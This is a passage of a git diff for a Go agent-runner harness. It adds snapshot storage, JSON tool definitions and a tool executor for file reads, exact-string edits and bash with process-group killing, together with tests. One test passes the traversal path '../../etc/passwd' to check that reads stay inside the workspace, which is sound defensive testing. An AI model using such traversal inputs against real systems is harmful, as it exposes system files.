fmt.Errorf("snapshot: %w", err) + } + full, err := json.Marshal(Snapshot{UptoSeq: uptoSeq, SubStateVersions: versions, State: raw}) + if err != nil { + return fmt.Errorf("snapshot: %w", err) + } + dir := filepath.Join(sessionDir, snapshotsDir) + if err := os.MkdirAll(dir, 0o700); err != nil { + return fmt.Errorf("snapshot: %w", err) + } + final := filepath.Join(dir, fmt.Sprintf("%d.json", uptoSeq)) + tmp := final + ".tmp" + f, err := os.OpenFile(tmp, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o600) + if err != nil { + return fmt.Errorf("snapshot: %w", err) + } + if _, err := f.Write(full); err != nil { + _ = f.Close() + return fmt.Errorf("snapshot: %w", err) + } + // fsync before rename: without it a power loss can make the rename + // durable while the data is not (zero-length file after rename). + if err := f.Sync(); err != nil { + _ = f.Close() + return fmt.Errorf("snapshot: %w", err) + } + if err := f.Close(); err != nil { + return fmt.Errorf("snapshot: %w", err) + } + if err := os.Rename(tmp, final); err != nil { + return fmt.Errorf("snapshot: %w", err) + } + crash.Point(crash.PointAfterSnapshotWrite) + return nil +} + +// LatestSnapshot loads the newest READABLE snapshot: corrupt or torn ones +// are skipped in favor of older siblings (snapshots are an optimization — +// the full fold is always available as the last resort). ok=false when +// none is usable. +func LatestSnapshot(sessionDir string) (Snapshot, bool, error) { + entries, err := os.ReadDir(filepath.Join(sessionDir, snapshotsDir)) + if os.IsNotExist(err) { + return Snapshot{}, false, nil + } + if err != nil { + return Snapshot{}, false, fmt.Errorf("snapshot: %w", err) + } + var seqs []int64 + for _, e := range entries { + name, ok := strings.CutSuffix(e.Name(), ".json") + if !ok { + continue // .tmp leftovers etc. + } + seq, err := strconv.ParseInt(name, 10, 64) + if err != nil { + continue + } + seqs = append(seqs, seq) + } + sort.Slice(seqs, func(i, j int) bool { return seqs[i] > seqs[j] }) + for _, seq := range seqs { + raw, err := os.ReadFile(filepath.Join(sessionDir, snapshotsDir, fmt.Sprintf("%d.json", seq))) + if err != nil { + continue + } + var snap Snapshot + if err := json.Unmarshal(raw, &snap); err != nil || snap.UptoSeq != seq { + continue + } + return snap, true, nil + } + return Snapshot{}, false, nil +} diff --git a/internal/store/snapshot_test.go b/internal/store/snapshot_test.go new file mode 100644 index 0000000..ad4562d --- /dev/null +++ b/internal/store/snapshot_test.go @@ -0,0 +1,63 @@ +package store + +import ( + "os" + "path/filepath" + "testing" +) + +func TestSnapshotRoundTrip(t *testing.T) { + dir := t.TempDir() + versions := map[string]int{"run": 1} + if err := WriteSnapshot(dir, 7, versions, map[string]string{"k": "v"}); err != nil { + t.Fatal(err) + } + snap, ok, err := LatestSnapshot(dir) + if err != nil || !ok { + t.Fatalf("ok=%v err=%v", ok, err) + } + if snap.UptoSeq != 7 || snap.SubStateVersions["run"] != 1 { + t.Fatalf("snap = %+v", snap) + } + fi, err := os.Stat(filepath.Join(dir, "snapshots", "7.json")) + if err != nil || fi.Mode().Perm() != 0o600 { + t.Fatalf("perm = %v err = %v", fi.Mode(), err) + } +} + +// A corrupt newest snapshot degrades to the next-older readable one — +// snapshots are an optimization and must never block resume. +func TestLatestSnapshotSkipsCorrupt(t *testing.T) { + dir := t.TempDir() + if err := WriteSnapshot(dir, 3, map[string]int{"run": 1}, "old"); err != nil { + t.Fatal(err) + } + // Newest is torn (power loss shape: exists but unparseable). + if err := os.WriteFile(filepath.Join(dir, "snapshots", "9.json"), []byte(`{"upto_`), 0o600); err != nil { + t.Fatal(err) + } + snap, ok, err := LatestSnapshot(dir) + if err != nil || !ok || snap.UptoSeq != 3 { + t.Fatalf("snap=%+v ok=%v err=%v", snap, ok, err) + } + + // All corrupt → ok=false, no error. + dir2 := t.TempDir() + if err := os.MkdirAll(filepath.Join(dir2, "snapshots"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir2, "snapshots", "5.json"), []byte("nope"), 0o600); err != nil { + t.Fatal(err) + } + _, ok, err = LatestSnapshot(dir2) + if err != nil || ok { + t.Fatalf("ok=%v err=%v, want graceful none", ok, err) + } +} + +func TestLatestSnapshotNone(t *testing.T) { + _, ok, err := LatestSnapshot(t.TempDir()) + if err != nil || ok { + t.Fatalf("ok=%v err=%v", ok, err) + } +} diff --git a/internal/tool/defs/bash.json b/internal/tool/defs/bash.json new file mode 100644 index 0000000..f266d9f --- /dev/null +++ b/internal/tool/defs/bash.json @@ -0,0 +1,21 @@ +{ + "name": "bash", + "description": "Run a shell command in the workspace root. Output is truncated if long; the command is killed on timeout.", + "class": "execute", + "input_schema": { + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "The shell command to execute." + }, + "background": { + "type": "boolean", + "description": "Run the command as a background task: returns a task handle immediately; the result arrives as a message when it finishes." + } + }, + "required": [ + "command" + ] + } +} diff --git a/internal/tool/defs/edit_file.json b/internal/tool/defs/edit_file.json new file mode 100644 index 0000000..19aeef9 --- /dev/null +++ b/internal/tool/defs/edit_file.json @@ -0,0 +1,14 @@ +{ + "name": "edit_file", + "description": "Edit a file by exact string replacement. The string `old` must appear exactly once in the file; it is replaced with `new`. To create a new file, use an empty `old` on a non-existing path.", + "class": "edit", + "input_schema": { + "type": "object", + "properties": { + "path": { "type": "string", "description": "File path relative to the workspace root." }, + "old": { "type": "string", "description": "Exact text to replace; must match exactly once. Empty to create a new file." }, + "new": { "type": "string", "description": "Replacement text (the full file content when creating)." } + }, + "required": ["path", "old", "new"] + } +} diff --git a/internal/tool/defs/exit_plan_mode.json b/internal/tool/defs/exit_plan_mode.json new file mode 100644 index 0000000..65fb701 --- /dev/null +++ b/internal/tool/defs/exit_plan_mode.json @@ -0,0 +1,14 @@ +{ + "name": "exit_plan_mode", + "description": "Request to leave plan mode and begin making changes. Requires user approval. Call this when your plan is ready to execute.", + "class": "wait", + "input_schema": { + "type": "object", + "properties": { + "plan": { + "type": "string", + "description": "A short summary of the plan you intend to execute." + } + } + } +} diff --git a/internal/tool/defs/finish_series.json b/internal/tool/defs/finish_series.json new file mode 100644 index 0000000..05555fe --- /dev/null +++ b/internal/tool/defs/finish_series.json @@ -0,0 +1,15 @@ +{ + "name": "finish_series", + "description": "Declare this self-paced series complete. A human verifier reviews the claim when this iteration ends; if it is denied, the series continues.", + "class": "read", + "input_schema": { + "type": "object", + "properties": { + "reason": { + "type": "string", + "description": "Why the series' work is done." + } + }, + "required": ["reason"] + } +} diff --git a/internal/tool/defs/handoff_agent.json b/internal/tool/defs/handoff_agent.json new file mode 100644 index 0000000..d82fbd8 --- /dev/null +++ b/internal/tool/defs/handoff_agent.json @@ -0,0 +1,19 @@ +{ + "name": "handoff_agent", + "description": "Hand control over to another agent from the directory and END this run. The successor receives your task description and works under your permission rules and remaining budget. Use when the work is better finished by a different specialist; you will not act again after a successful handoff.", + "class": "execute", + "input_schema": { + "type": "object", + "properties": { + "agent": { + "type": "string", + "description": "Name of the agent to hand control to (must be listed in the agents directory)." + }, + "task": { + "type": "string", + "description": "The task and context the successor needs to continue the work." + } + }, + "required": ["agent", "task"] + } +} diff --git a/internal/tool/defs/publish_artifact.json b/internal/tool/defs/publish_artifact.json new file mode 100644 index 0000000..8390c96 --- /dev/null +++ b/internal/tool/defs/publish_artifact.json @@ -0,0 +1,19 @@ +{ + "name": "publish_artifact", + "description": "Publish content as a durable, versioned artifact on a named stream. Each publish to the same stream creates the next version. Returns the content-addressed ref. Use for deliverables (reports, plans, generated documents) that must outlive the conversation.", + "class": "edit", + "input_schema": { + "type": "object", + "properties": { + "stream": { + "type": "string", + "description": "Stream name for the deliverable (e.g. \"report\"). Versions accumulate per stream." + }, + "content": { + "type": "string", + "description": "The artifact content." + } + }, + "required": ["stream", "content"] + } +} diff --git a/internal/tool/defs/publish_note.json b/internal/tool/defs/publish_note.json new file mode 100644 index 0000000..3f91439 --- /dev/null +++ b/internal/tool/defs/publish_note.json @@ -0,0 +1,19 @@ +{ + "name": "publish_note", + "description": "Publish a note to a shared blackboard topic that collaborating agents (parent and sub-agents) can read with read_notes.", + "class": "edit", + "input_schema": { + "type": "object", + "properties": { + "topic": { + "type": "string", + "description": "Topic to publish under." + }, + "text": { + "type": "string", + "description": "The note content." + } + }, + "required": ["topic", "text"] + } +} diff --git a/internal/tool/defs/read_file.json b/internal/tool/defs/read_file.json new file mode 100644 index 0000000..cbee40c --- /dev/null +++ b/internal/tool/defs/read_file.json @@ -0,0 +1,12 @@ +{ + "name": "read_file", + "description": "Read a file from the workspace. Returns the file content, truncated if very large.", + "class": "read", + "input_schema": { + "type": "object", + "properties": { + "path": { "type": "string", "description": "File path relative to the workspace root." } + }, + "required": ["path"] + } +} diff --git a/internal/tool/defs/read_notes.json b/internal/tool/defs/read_notes.json new file mode 100644 index 0000000..469d9f6 --- /dev/null +++ b/internal/tool/defs/read_notes.json @@ -0,0 +1,15 @@ +{ + "name": "read_notes", + "description": "Read all notes published so far to a shared blackboard topic, in publish order.", + "class": "read", + "input_schema": { + "type": "object", + "properties": { + "topic": { + "type": "string", + "description": "Topic to read." + } + }, + "required": ["topic"] + } +} diff --git a/internal/tool/defs/schedule_next.json b/internal/tool/defs/schedule_next.json new file mode 100644 index 0000000..fb3aea3 --- /dev/null +++ b/internal/tool/defs/schedule_next.json @@ -0,0 +1,15 @@ +{ + "name": "schedule_next", + "description": "Declare when the next iteration of this self-paced series should run (e.g. after '2h'). The driver reads your latest declaration when this iteration ends; calling again overrides an earlier one.", + "class": "read", + "input_schema": { + "type": "object", + "properties": { + "after": { + "type": "string", + "description": "Delay before the next iteration, as a Go duration string like '30m' or '2h'. The driver clamps it to the configured pace_min/pace_max." + } + }, + "required": ["after"] + } +} diff --git a/internal/tool/defs/spawn_agent.json b/internal/tool/defs/spawn_agent.json new file mode 100644 index 0000000..f84b91a --- /dev/null +++ b/internal/tool/defs/spawn_agent.json @@ -0,0 +1,37 @@ +{ + "name": "spawn_agent", + "description": "Spawn a sub-agent from the available agents directory to work on a delegated task. Blocks until the sub-agent finishes and returns its final report. Sub-agents run under your permission rules and share your token budget.", + "class": "execute", + "input_schema": { + "type": "object", + "properties": { + "agent": { + "type": "string", + "description": "Name of the sub-agent to spawn (must be listed in the agents directory)." + }, + "task": { + "type": "string", + "description": "The task for the sub-agent to perform." + }, + "inputs": { + "type": "array", + "description": "Artifacts to place into the sub-agent's workspace before it starts.", + "items": { + "type": "object", + "properties": { + "ref": { + "type": "string", + "description": "Artifact ref (from a publish result)." + }, + "path": { + "type": "string", + "description": "Workspace-relative destination path." + } + }, + "required": ["ref", "path"] + } + } + }, + "required": ["agent", "task"] + } +} diff --git a/internal/tool/defs/task_kill.json b/internal/tool/defs/task_kill.json new file mode 100644 index 0000000..2e74edb --- /dev/null +++ b/internal/tool/defs/task_kill.json @@ -0,0 +1,15 @@ +{ + "name": "task_kill", + "description": "Cancel a running background task. Its cancellation notice arrives as a message.", + "class": "execute", + "input_schema": { + "type": "object", + "properties": { + "task_id": { + "type": "string", + "description": "The task handle to cancel." + } + }, + "required": ["task_id"] + } +} diff --git a/internal/tool/defs/task_output.json b/internal/tool/defs/task_output.json new file mode 100644 index 0000000..9016d89 --- /dev/null +++ b/internal/tool/defs/task_output.json @@ -0,0 +1,15 @@ +{ + "name": "task_output", + "description": "Check a background task's status. Returns running/unknown; a finished task's result arrives as a message instead.", + "class": "read", + "input_schema": { + "type": "object", + "properties": { + "task_id": { + "type": "string", + "description": "The task handle returned when the background command started." + } + }, + "required": ["task_id"] + } +} diff --git a/internal/tool/exec.go b/internal/tool/exec.go new file mode 100644 index 0000000..80ed357 --- /dev/null +++ b/internal/tool/exec.go @@ -0,0 +1,328 @@ +package tool + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "time" + "unicode/utf8" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// S1 defaults pack limits. +const ( + readMaxLines = 2000 + readMaxBytes = 50 * 1024 + bashOutputBytes = 30 * 1024 // combined budget: split across stdout+stderr + bashKillGrace = 5 * time.Second + bashInterruptGrace = 500 * time.Millisecond + bashPipeDeadline = 2 * time.Second +) + +// Result is a tool execution outcome. IsError results render as error +// tool_results for the model (决策 #9); the loop continues either way. +type Result struct { + Payload json.RawMessage + IsError bool +} + +func errResult(format string, args ...any) Result { + msg, _ := json.Marshal(map[string]any{"error": fmt.Sprintf(format, args...)}) + return Result{Payload: msg, IsError: true} +} + +func okResult(v any) Result { + payload, _ := json.Marshal(v) + return Result{Payload: payload} +} + +// SessionEnvVar marks every process a session spawns, so cleanup +// assertions can find strays by marker instead of grepping global ps. +const SessionEnvVar = "AGENTRUNNER_SESSION" + +// Executor runs built-in tools against a workspace. Wall-clock limits are +// NOT owned here (2.11): the activity executor arms a durable timer and +// cancels ctx with cause errs.ErrActivityTimeout; bash only reacts. +type Executor struct { + WS *workspace.Workspace + // Session tags spawned processes via SessionEnvVar (2.12). + Session string +} + +// Execute dispatches one tool call. Unknown tools and malformed args are +// model-visible errors, not harness failures. +func (e *Executor) Execute(ctx context.Context, name string, args json.RawMessage) Result { + switch name { + case "read_file": + return e.readFile(args) + case "edit_file": + return e.editFile(args) + case "bash": + return e.bash(ctx, args) + case "schedule_next": + return e.scheduleNext(args) + case "finish_series": + return e.finishSeries(args) + default: + return errResult("unknown tool %q", name) + } +} + +// scheduleNext and finishSeries are pure data-definition tools (S6 loop +// mode): the ack is the whole execution — the MEANING is read by the +// IterationDriver from this run's journal when the iteration ends. +func (e *Executor) scheduleNext(rawArgs json.RawMessage) Result { + var args struct { + After string `json:"after"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.After == "" { + return errResult("schedule_next: invalid args: need {\"after\": duration}") + } + if _, err := time.ParseDuration(args.After); err != nil { + return errResult("schedule_next: bad duration %q (want Go form like \"30m\", \"2h\")", args.After) + } + return okResult(map[string]any{ + "output": fmt.Sprintf("next iteration requested after %s (the driver clamps and applies it when this iteration ends)", args.After), + }) +} + +func (e *Executor) finishSeries(rawArgs json.RawMessage) Result { + var args struct { + Reason string `json:"reason"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Reason == "" { + return errResult("finish_series: invalid args: need {\"reason\": string}") + } + return okResult(map[string]any{ + "output": "series completion claimed; a human verifier reviews it when this iteration ends", + }) +} + +func (e *Executor) readFile(rawArgs json.RawMessage) Result { + var args struct { + Path string `json:"path"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Path == "" { + return errResult("read_file: invalid args: need {\"path\": string}") + } + path, err := e.WS.Resolve(args.Path) + if err != nil { + return errResult("read_file: %v", err) + } + raw, err := os.ReadFile(path) + if err != nil { + return errResult("read_file: %v", err) + } + + content := string(raw) + truncated := false + if len(content) > readMaxBytes { + content = trimToValidUTF8(content[:readMaxBytes]) + truncated = true + } + if lines := strings.Split(content, "\n"); len(lines) > readMaxLines { + content = strings.Join(lines[:readMaxLines], "\n") + truncated = true + } + if truncated { + content += fmt.Sprintf("\n[truncated: file is %d bytes, showing at most %d lines / %d bytes]", + len(raw), readMaxLines, readMaxBytes) + } + return okResult(map[string]any{"content": content, "truncated": truncated}) +} + +func (e *Executor) editFile(rawArgs json.RawMessage) Result { + var args struct { + Path string `json:"path"` + Old string `json:"old"` + New string `json:"new"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Path == "" { + return errResult("edit_file: invalid args: need {\"path\", \"old\", \"new\"}") + } + path, err := e.WS.Resolve(args.Path) + if err != nil { + return errResult("edit_file: %v", err) + } + + if args.Old == "" { + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + return errResult("edit_file: %v", err) + } + f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644) + if err != nil { + if os.IsExist(err) { + return errResult("edit_file: %s exists; empty \"old\" creates new files only", args.Path) + } + return errResult("edit_file: %v", err) + } + _, werr := f.WriteString(args.New) + if cerr := f.Close(); werr == nil { + werr = cerr + } + if werr != nil { + return errResult("edit_file: %v", werr) + } + return okResult(map[string]any{"output": fmt.Sprintf("created %s", args.Path)}) + } + + raw, err := os.ReadFile(path) + if err != nil { + return errResult("edit_file: %v", err) + } + content := string(raw) + switch n := strings.Count(content, args.Old); n { + case 1: + // fallthrough to replace + case 0: + return errResult("edit_file: old string not found in %s (0 matches, need exactly 1)", args.Path) + default: + return errResult("edit_file: old string matches %d times in %s, need exactly 1", n, args.Path) + } + content = strings.Replace(content, args.Old, args.New, 1) + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + return errResult("edit_file: %v", err) + } + return okResult(map[string]any{"output": fmt.Sprintf("edited %s", args.Path)}) +} + +func (e *Executor) bash(ctx context.Context, rawArgs json.RawMessage) Result { + var args struct { + Command string `json:"command"` + } + if err := json.Unmarshal(rawArgs, &args); err != nil || args.Command == "" { + return errResult("bash: invalid args: need {\"command\": string}") + } + + var stdout, stderr bytes.Buffer + cmd := exec.Command("bash", "-c", args.Command) + cmd.Dir = e.WS.Root() + if e.Session != "" { + cmd.Env = append(os.Environ(), SessionEnvVar+"="+e.Session) + } + cmd.Stdout = &stdout + cmd.Stderr = &stderr + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + // Background children inherit the output pipes; don't let them hold + // Wait hostage after the direct child exits. + cmd.WaitDelay = bashPipeDeadline + + if err := cmd.Start(); err != nil { + return errResult("bash: %v", err) + } + pgid := cmd.Process.Pid + + done := make(chan error, 1) + reaped := make(chan struct{}) + go func() { + err := cmd.Wait() + close(reaped) // leader reaped: its pid is no longer safe to signal + done <- err + }() + + timedOut, canceled := false, false + select { + case <-done: + case <-ctx.Done(): + // The command may have finished in the same instant; prefer done — + // a completed command must not be journaled as canceled. + select { + case <-done: + default: + // The durable timer cancels with cause ErrActivityTimeout; + // render that as a timeout, anything else as user cancellation. + // A steering interrupt gets a much shorter kill grace than a + // timeout — interactive cancellation must feel instant. + grace := bashKillGrace + if errors.Is(context.Cause(ctx), errs.ErrActivityTimeout) { + timedOut = true + } else { + canceled = true + if errors.Is(context.Cause(ctx), errs.ErrUserInterrupt) { + grace = bashInterruptGrace + } + } + killGroup(pgid, reaped, grace) + <-done + } + } + + out := map[string]any{ + "stdout": truncateHeadTail(stdout.String(), bashOutputBytes/2), + "stderr": truncateHeadTail(stderr.String(), bashOutputBytes/2), + "exit_code": cmd.ProcessState.ExitCode(), + } + switch { + case timedOut: + out["timed_out"] = true + out["error"] = "command killed after timeout" + case canceled: + out["canceled"] = true + out["error"] = "command canceled" + } + payload, _ := json.Marshal(out) + return Result{Payload: payload, IsError: timedOut || canceled || cmd.ProcessState.ExitCode() != 0} +} + +// killGroup terminates the process group: SIGTERM, grace, then SIGKILL. +// Once `reaped` fires, the leader has been waited on and its pid may be +// recycled as an unrelated pgid — signaling it again could kill innocent +// processes, so we stop escalating (TERM-resistant grandchildren that +// outlive the leader escape the KILL; that beats shooting a stranger). +func killGroup(pgid int, reaped <-chan struct{}, grace time.Duration) { + _ = syscall.Kill(-pgid, syscall.SIGTERM) + deadline := time.After(grace) + tick := time.NewTicker(50 * time.Millisecond) + defer tick.Stop() + for { + select { + case <-deadline: + select { + case <-reaped: + default: + _ = syscall.Kill(-pgid, syscall.SIGKILL) + } + return + case <-reaped: + return + case <-tick.C: + // Signal 0 probes for existence; only ESRCH means the group is + // gone (EPERM = alive but unsignalable — keep escalating). + if err := syscall.Kill(-pgid, syscall.Signal(0)); errors.Is(err, syscall.ESRCH) { + return + } + } + } +} + +func truncateHeadTail(s string, budget int) string { + if len(s) <= budget { + return s + } + half := budget / 2 + head := trimToValidUTF8(s[:half]) + tail := s[len(s)-half:] + for len(tail) > 0 && !utf8.ValidString(tail) { + tail = tail[1:] + } + return head + + fmt.Sprintf("\n[... truncated %d bytes ...]\n", len(s)-budget) + + tail +} + +// trimToValidUTF8 drops at most 3 trailing bytes to avoid a torn rune. +func trimToValidUTF8(s string) string { + for i := 0; i < 4 && len(s) > 0 && !utf8.ValidString(s); i++ { + s = s[:len(s)-1] + } + return s +} diff --git a/internal/tool/exec_test.go b/internal/tool/exec_test.go new file mode 100644 index 0000000..7561f25 --- /dev/null +++ b/internal/tool/exec_test.go @@ -0,0 +1,289 @@ +package tool + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "syscall" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func newExec(t *testing.T) (*Executor, string) { + t.Helper() + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + return &Executor{WS: ws}, ws.Root() +} + +func run(t *testing.T, e *Executor, name, args string) (map[string]any, bool) { + t.Helper() + res := e.Execute(context.Background(), name, json.RawMessage(args)) + var m map[string]any + if err := json.Unmarshal(res.Payload, &m); err != nil { + t.Fatalf("payload not JSON: %s", res.Payload) + } + return m, res.IsError +} + +func TestReadFile(t *testing.T) { + e, root := newExec(t) + if err := os.WriteFile(filepath.Join(root, "a.txt"), []byte("hello"), 0o644); err != nil { + t.Fatal(err) + } + m, isErr := run(t, e, "read_file", `{"path":"a.txt"}`) + if isErr || m["content"] != "hello" { + t.Fatalf("m=%v isErr=%v", m, isErr) + } + + _, isErr = run(t, e, "read_file", `{"path":"missing.txt"}`) + if !isErr { + t.Error("missing file should be an error result") + } + + _, isErr = run(t, e, "read_file", `{"path":"../../etc/passwd"}`) + if !isErr { + t.Error("escape should be an error result") + } +} + +func TestReadFileTruncation(t *testing.T) { + e, root := newExec(t) + big := strings.Repeat("line\n", 3000) + if err := os.WriteFile(filepath.Join(root, "big.txt"), []byte(big), 0o644); err != nil { + t.Fatal(err) + } + m, isErr := run(t, e, "read_file", `{"path":"big.txt"}`) + if isErr || m["truncated"] != true { + t.Fatalf("m truncated=%v isErr=%v", m["truncated"], isErr) + } + if !strings.Contains(m["content"].(string), "[truncated:") { + t.Error("truncation marker missing") + } +} + +func TestEditFile(t *testing.T) { + e, root := newExec(t) + path := filepath.Join(root, "code.go") + if err := os.WriteFile(path, []byte("aaa bbb aaa"), 0o644); err != nil { + t.Fatal(err) + } + + // exactly-once replacement + if _, isErr := run(t, e, "edit_file", `{"path":"code.go","old":"bbb","new":"XXX"}`); isErr { + t.Fatal("single match should succeed") + } + content, _ := os.ReadFile(path) + if string(content) != "aaa XXX aaa" { + t.Fatalf("content = %q", content) + } + + // zero and multiple matches fail with counts + m, isErr := run(t, e, "edit_file", `{"path":"code.go","old":"zzz","new":"q"}`) + if !isErr || !strings.Contains(m["error"].(string), "0 matches") { + t.Errorf("zero-match error = %v", m) + } + m, isErr = run(t, e, "edit_file", `{"path":"code.go","old":"aaa","new":"q"}`) + if !isErr || !strings.Contains(m["error"].(string), "2 times") { + t.Errorf("multi-match error = %v", m) + } +} + +func TestEditFileCreate(t *testing.T) { + e, root := newExec(t) + if _, isErr := run(t, e, "edit_file", `{"path":"new/dir/f.txt","old":"","new":"fresh"}`); isErr { + t.Fatal("create should succeed") + } + content, err := os.ReadFile(filepath.Join(root, "new", "dir", "f.txt")) + if err != nil || string(content) != "fresh" { + t.Fatalf("content=%q err=%v", content, err) + } + + // creating over an existing file is refused + if _, isErr := run(t, e, "edit_file", `{"path":"new/dir/f.txt","old":"","new":"clobber"}`); !isErr { + t.Error("create over existing file should fail") + } +} + +func TestBashBasics(t *testing.T) { + e, _ := newExec(t) + m, isErr := run(t, e, "bash", `{"command":"echo hi && pwd"}`) + if isErr || m["exit_code"].(float64) != 0 { + t.Fatalf("m=%v isErr=%v", m, isErr) + } + if !strings.Contains(m["stdout"].(string), "hi") { + t.Errorf("stdout = %q", m["stdout"]) + } + + m, isErr = run(t, e, "bash", `{"command":"exit 3"}`) + if !isErr || m["exit_code"].(float64) != 3 { + t.Errorf("nonzero exit: m=%v isErr=%v", m, isErr) + } +} + +func TestBashTimeoutKillsProcessGroup(t *testing.T) { + e, root := newExec(t) + + // 2.11: the wall-clock limit is owned by the durable timer, which + // cancels ctx with cause ErrActivityTimeout; bash renders timed_out. + ctx, cancel := context.WithCancelCause(context.Background()) + go func() { + time.Sleep(300 * time.Millisecond) + cancel(errs.ErrActivityTimeout) + }() + + // The marker file lets us find the grandchild's pid. + cmd := fmt.Sprintf(`{"command":"echo $$ > %s/pgid.txt; sleep 30"}`, root) + start := time.Now() + res := e.Execute(ctx, "bash", json.RawMessage(cmd)) + var m map[string]any + if err := json.Unmarshal(res.Payload, &m); err != nil { + t.Fatalf("payload not JSON: %s", res.Payload) + } + isErr := res.IsError + if elapsed := time.Since(start); elapsed > 10*time.Second { + t.Fatalf("took %s, kill path did not engage", elapsed) + } + if !isErr || m["timed_out"] != true { + t.Fatalf("m=%v isErr=%v", m, isErr) + } + + // The shell's process group must be gone. + raw, err := os.ReadFile(filepath.Join(root, "pgid.txt")) + if err != nil { + t.Fatal(err) + } + var pid int + if _, err := fmt.Sscanf(string(raw), "%d", &pid); err != nil { + t.Fatal(err) + } + if err := syscall.Kill(-pid, syscall.Signal(0)); err == nil { + t.Errorf("process group %d still alive after timeout kill", pid) + } +} + +func TestBashOutputTruncation(t *testing.T) { + e, _ := newExec(t) + m, _ := run(t, e, "bash", `{"command":"head -c 100000 /dev/zero | tr '\\0' 'x'"}`) + out := m["stdout"].(string) + if !strings.Contains(out, "... truncated") { + t.Errorf("truncation marker missing (len=%d)", len(out)) + } + if len(out) > bashOutputBytes+100 { + t.Errorf("output too long: %d", len(out)) + } +} + +func TestUnknownTool(t *testing.T) { + e, _ := newExec(t) + if _, isErr := run(t, e, "teleport", `{}`); !isErr { + t.Error("unknown tool should be an error result") + } +} + +// Context cancellation (the Esc/interrupt path) must kill the process group +// promptly and render as canceled — not as a fabricated timeout. +func TestBashContextCancelKillsGroup(t *testing.T) { + e, root := newExec(t) + ctx, cancel := context.WithCancel(context.Background()) + go func() { + time.Sleep(150 * time.Millisecond) + cancel() + }() + + start := time.Now() + res := e.Execute(ctx, "bash", json.RawMessage( + fmt.Sprintf(`{"command":"echo $$ > %s/pgid.txt; sleep 30"}`, root))) + if elapsed := time.Since(start); elapsed > 10*time.Second { + t.Fatalf("took %s, cancel path did not engage", elapsed) + } + + var m map[string]any + if err := json.Unmarshal(res.Payload, &m); err != nil { + t.Fatal(err) + } + if !res.IsError || m["canceled"] != true || m["timed_out"] == true { + t.Fatalf("m=%v isErr=%v, want canceled without timed_out", m, res.IsError) + } + + raw, err := os.ReadFile(filepath.Join(root, "pgid.txt")) + if err != nil { + t.Fatal(err) + } + var pid int + if _, err := fmt.Sscanf(string(raw), "%d", &pid); err != nil { + t.Fatal(err) + } + if err := syscall.Kill(-pid, syscall.Signal(0)); err == nil { + t.Errorf("process group %d still alive after cancel", pid) + } +} + +// findSessionProcs scans /proc for live processes carrying the session +// env marker — targeted lookup, not a global ps pattern match. +func findSessionProcs(t *testing.T, session string) []string { + t.Helper() + needle := SessionEnvVar + "=" + session + entries, err := os.ReadDir("/proc") + if err != nil { + t.Fatal(err) + } + var pids []string + for _, e := range entries { + if !e.IsDir() || e.Name()[0] < '0' || e.Name()[0] > '9' { + continue + } + environ, err := os.ReadFile(filepath.Join("/proc", e.Name(), "environ")) + if err != nil { + continue // gone or not ours + } + for _, kv := range strings.Split(string(environ), "\x00") { + if kv == needle { + pids = append(pids, e.Name()) + break + } + } + } + return pids +} + +// 2.12 orphan assertion: after a cancel kills the group, no process tagged +// with the session marker survives — including background grandchildren. +func TestBashCancelLeavesNoSessionOrphans(t *testing.T) { + e, _ := newExec(t) + e.Session = "orphan-test-" + fmt.Sprint(os.Getpid()) + + ctx, cancel := context.WithCancel(context.Background()) + go func() { + time.Sleep(300 * time.Millisecond) + cancel() + }() + res := e.Execute(ctx, "bash", json.RawMessage( + `{"command":"sleep 60 & sleep 60 & sleep 60"}`)) + if !res.IsError { + t.Fatalf("result = %s", res.Payload) + } + + if pids := findSessionProcs(t, e.Session); len(pids) != 0 { + t.Fatalf("session orphans survived cancel: pids %v", pids) + } +} + +// The marker reaches spawned processes. +func TestBashSessionMarkerSet(t *testing.T) { + e, _ := newExec(t) + e.Session = "marker-test" + m, isErr := run(t, e, "bash", `{"command":"echo -n $AGENTRUNNER_SESSION"}`) + if isErr || m["stdout"] != "marker-test" { + t.Fatalf("m=%v isErr=%v", m, isErr) + } +} diff --git a/internal/tool/tool.go b/internal/tool/tool.go new file mode 100644 index 0000000..02639c2 --- /dev/null +++ b/internal/tool/tool.go @@ -0,0 +1,97 @@ +// Package tool holds the data-driven tool registry (原则 4: tool 定义即数据). +// Built-in definitions ship as embedded JSON files; implementations register +// against them in exec.go (1.6). +package tool + +import ( + "embed" + "encoding/json" + "fmt" + "sort" + + "github.com/ralphite/agentrunner/internal/provider" +) + +//go:embed defs/*.json +var defsFS embed.FS + +// Class categorizes a tool for permission modes and in-doubt policy +// (read/edit/execute now; wait arrives with interactive tools). +type Class string + +const ( + ClassRead Class = "read" + ClassEdit Class = "edit" + ClassExecute Class = "execute" + ClassWait Class = "wait" +) + +// Def is one tool definition — pure data. +type Def struct { + Name string `json:"name"` + Description string `json:"description"` + Class Class `json:"class"` + InputSchema json.RawMessage `json:"input_schema"` +} + +var registry = mustLoad() + +func mustLoad() map[string]Def { + entries, err := defsFS.ReadDir("defs") + if err != nil { + panic(fmt.Sprintf("tool defs: %v", err)) + } + reg := make(map[string]Def, len(entries)) + for _, e := range entries { + raw, err := defsFS.ReadFile("defs/" + e.Name()) + if err != nil { + panic(fmt.Sprintf("tool defs: %v", err)) + } + var def Def + if err := json.Unmarshal(raw, &def); err != nil { + panic(fmt.Sprintf("tool def %s: %v", e.Name(), err)) + } + if def.Name == "" || def.Class == "" || len(def.InputSchema) == 0 { + panic(fmt.Sprintf("tool def 